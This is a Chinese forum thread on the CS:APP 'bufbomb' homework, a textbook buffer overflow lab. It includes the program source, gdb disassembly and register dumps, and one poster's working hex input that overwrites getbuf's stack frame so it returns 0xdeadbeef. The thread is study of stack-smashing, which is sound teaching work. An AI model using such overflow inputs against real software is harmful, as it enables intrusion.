標(biāo)題: 緩沖區(qū)溢出攻擊實驗 [打印本頁] 作者: 51黑tt 時間: 2016-3-6 02:04 標(biāo)題: 緩沖區(qū)溢出攻擊實驗 這是出自《深入理解計算機(jī)系統(tǒng)》的一道題目：
[code:1:d0aaabbf15]
/* Bomb program that is solved using a buffer overflow attack */
#include
#include
#include
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
[/code:1:d0aaabbf15]
題目的要求是，在getbuf函數(shù)中也許“顯然”地會返回1，通過輸入一個數(shù)據(jù)使這個函數(shù)返回0xdeadbeef，就是在test函數(shù)中地printf中打印地是0xdeadbeef.
我大概有了思路，做著玩玩，晚上回來再說。
FreeGnu 回復(fù)于：2004-11-03 21:47:59 要是能來篇
堆的溢出或shellcode的編寫就更好了
deadbeef的意思是使用了已經(jīng)被free了的內(nèi)存，
當(dāng)然會有段錯誤了！[/quote:c3c559c01a]
不是吧。上面win_hate已經(jīng)說的很明白了，是因為后面的'\0'會破壞test壓入的ebp，以致于無法在返回main函數(shù)的時候，進(jìn)入正確的“軌道”。
Solaris12 回復(fù)于：2004-11-09 11:00:09 [quote:5561593cdd="aero"]
不是吧。上面win_hate已經(jīng)說的很明白了，是因為后面的'\0'會破壞test壓入的ebp，以致于無法在返回main函數(shù)的時候，進(jìn)入正確的“軌道”。[/quote:5561593cdd]
抱歉，剛才沒仔細(xì)看，呵呵
這個出題目的一定是老美，
deadbeef在Solaris的調(diào)試器里面有特殊含義，抱歉
aero 回復(fù)于：2004-11-09 11:08:32 [quote:af3263885c="Solaris12"]
抱歉，剛才沒仔細(xì)看，呵呵
這個出題目的一定是老美，
deadbeef在Solaris的調(diào)試器里面有特殊含義，抱歉[/quote:af3263885c]
哦，蝦米特殊含義�。空f來聽聽。 :em02: :em02:
Solaris12 回復(fù)于：2004-11-09 11:30:30 [quote:40fe358080="aero"]
哦，蝦米特殊含義��？說來聽聽。 :em02: :em02:[/quote:40fe358080]
其實deadbeef不止在Solaris下，恐怕在UNIX/LINUX文化里，都有
特殊含義：
DEADBEEF /ded-beef/ n.
(From the Jargon file)
The hexadecimal word-fill pattern for freshly allocated memory under a number of IBM environments, including the RS/6000. Some modern debugging tools deliberately fill freed memory with this value as a way of converting heisenbugs into Bohr bugs. As in "Your program is DEADBEEF" (meaning gone, aborted, flushed from memory); if you start from an odd half-word boundary, of course, you have BEEFDEAD. See also the anecdote under fool and dead beef attack.
本篇文章共13頁，此頁為第6頁 上一頁 下一頁
deadbeef就是指引用已經(jīng)free的內(nèi)存
aero 回復(fù)于：2004-11-09 12:32:34 ^_^，原來還有典故的說。
流川 回復(fù)于：2004-11-09 15:16:50 哇，一個比一個強(qiáng)
afministrator 回復(fù)于：2004-11-10 10:58:23 我想你們應(yīng)用C++寫一個了呀呵呵 :em02:
pigjj 回復(fù)于：2004-12-23 14:23:43 我有一點(diǎn)不明白，你們?nèi)绾嗡愠鼍彌_區(qū)的大小 ? 是否是在getbuf中 ebp-esp 的值。
[code:1:710fc9da6e](gdb) disas getbuf
Dump of assembler code for function getbuf:
0x080484b0 : push %ebp
0x080484b1 : mov %esp,%ebp
0x080484b3 : lea 0xffffffe8(%ebp),%eax
0x080484b6 : sub $0x28,%esp
0x080484b9 : mov %eax,(%esp)
0x080484bc : call 0x8048420
0x080484c1 : mov %ebp,%esp
0x080484c3 : mov $0x1,%eax
0x080484c8 : pop %ebp
0x080484c9 : ret
0x080484ca : lea 0x0(%esi),%esi
End of assembler dump.
(gdb) b *0x080484bc
Breakpoint 2 at 0x80484bc
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pigjj/prog/c/atack/a.out
Breakpoint 2, 0x080484bc in getbuf ()
(gdb) i reg
eax 0xbfffefd0 -1073745968
ecx 0x40148080 1075085440
edx 0x10 16
ebx 0x4014e620 1075111456
esp 0xbfffefc0 0xbfffefc0
ebp 0xbfffefe8 0xbfffefe8
esi 0x400164a0 1073833120
edi 0xbffffa04 -1073743356
eip 0x80484bc 0x80484bc
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
[/code:1:710fc9da6e]
從上面可以看出 函數(shù)getbuf的棧幀大小是 0x28 ,就是40個字節(jié)。可是我的程序輸入23 個字節(jié)就 segmentation fail
[code:1:710fc9da6e](gdb) run
Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 05 16 17 18 19 2021 22 23
getbuf returned 0x1
Program exited normally.
(gdb) run
看源碼，然后編譯，然后調(diào)試，然后確定，然后實驗，然后去試目標(biāo)。
pigjj 回復(fù)于：2004-12-25 18:50:07 [code:1:6fe8060e4c]
pigjj@Ale:~/prog/c/atack$ uname -a
Linux Ale 2.4.26-1-386 #1 Thu Jul 22 12:46:23 JST 2004 i686 GNU/Linux
pigjj@Ale:~/prog/c/atack$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.4/specs
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc i486-linux
Thread model: posix
gcc version 3.3.4 (Debian 1:3.3.4-3)
pigjj@Ale:~/prog/c/atack$ ./a.out
Type Hex string:12345678 12345678 12345678 12345678 12345678 12345678 f8efffbf eb840408 44686408 efbeadde d8f9ffbf 27850408
getbuf returned 0xdeadbeef
[/code:1:6fe8060e4c]
I got it :D
zne 回復(fù)于：2005-02-17 16:20:59 前面大家都是修改了test的返回地址，修改getbuf的返回地址大家覺得可以么？
本篇文章共13頁，此頁為第8頁 上一頁 下一頁
我想先貼一下我看的書里的原題
代碼在這里 http://csapp.cs.cmu.edu/public/code.html bufbomb.c
題目：
Homework Problem 3.38 [Category 3]:
In this problem, you will mount a buffer overflow attack on your own program.
As stated earlier, we do not condone using this or any other form of attack to gain unauthorized access to a system, but by doing thisexercise, you will learn a lot about machine-level programming.
Download the file bufbomb.c from the CS:APP website and compile it to create an executable program.
In bufbomb.c, you will find the following functions:
1 int getbuf()
2 {
3 char buf[12];
4 getxs(buf);
5 return 1;
6 }
7
8 void test()
9 {
10 int val;
11 printf("Type Hex string:");
12 val = getbuf();
13 printf("getbuf returned 0x%x\n", val);
14 }
The function getxs (also in bufbomb.c) is similar to the library gets, except that it reads charactersencoded as pairs of hex digits. For example, to give it a string “0123,” the user would type in the string“30 31 32 33.” The function ignores blank characters. Recall that decimal digit x has ASCII representation0x3x.
A typical execution of the program is as follows:
unix> ./bufbomb
Type Hex string: 30 31 32 33
getbuf returned 0x1
Looking at the code for the getbuf function, it seems quiteapparent that it will return value 1 whenever it
is called. It appears as if the call to getxs has no effect.
[color=blue:bbc752fa04]Your task is to make getbuf return -559038737(0xdeadbeef) to test, simply by typing an appropriate hexadecimal string to the prompt.[/color:bbc752fa04]
Here are some ideas that will help you solve the problem:
Use OBJDUMP to create a disassembled version of bufbomb. Study this closely to determine howthe stack frame for getbuf is organized and how overflowing the buffer will alter the saved program state.
[color=blue:bbc752fa04]Run your program under GDB. Set a breakpoint within getbuf and run to this breakpoint. [/color:bbc752fa04]Determine such parameters as the value of %ebp and the saved value of any state that will be overwritten when you overflow the buffer.
本篇文章共13頁，此頁為第9頁 上一頁 下一頁
[color=blue:bbc752fa04] Determining the byte encoding of instruction sequences by hand is tedious and prone to errors. You can let tools do all of the work by writing an assembly code file containing the instructions and data you want to put on the stack. Assemble this file with GCC and disassemble it with OBJDUMP. You should be able to get the exact byte sequence that you will type at the prompt. .[/color:bbc752fa04]
OBJDUMP will producesome pretty strange looking assembly instructions when it tries to disassemble the data in your file,
but the hexadecimal byte sequence should be correct.
Keep in mind that your attack is very machine and compiler specific. You may need to alter your string when running on a different machine or with a different version of GCC.
zne 回復(fù)于：2005-02-17 17:01:10 我理解題目要求我們在向buf[]中輸入數(shù)據(jù)時，輸入一些能夠執(zhí)行的機(jī)器指令，在我的機(jī)器上，getbuf的棧禎是這樣
return address| test的棧幀，存儲了call getbuf之后的下一條指令地址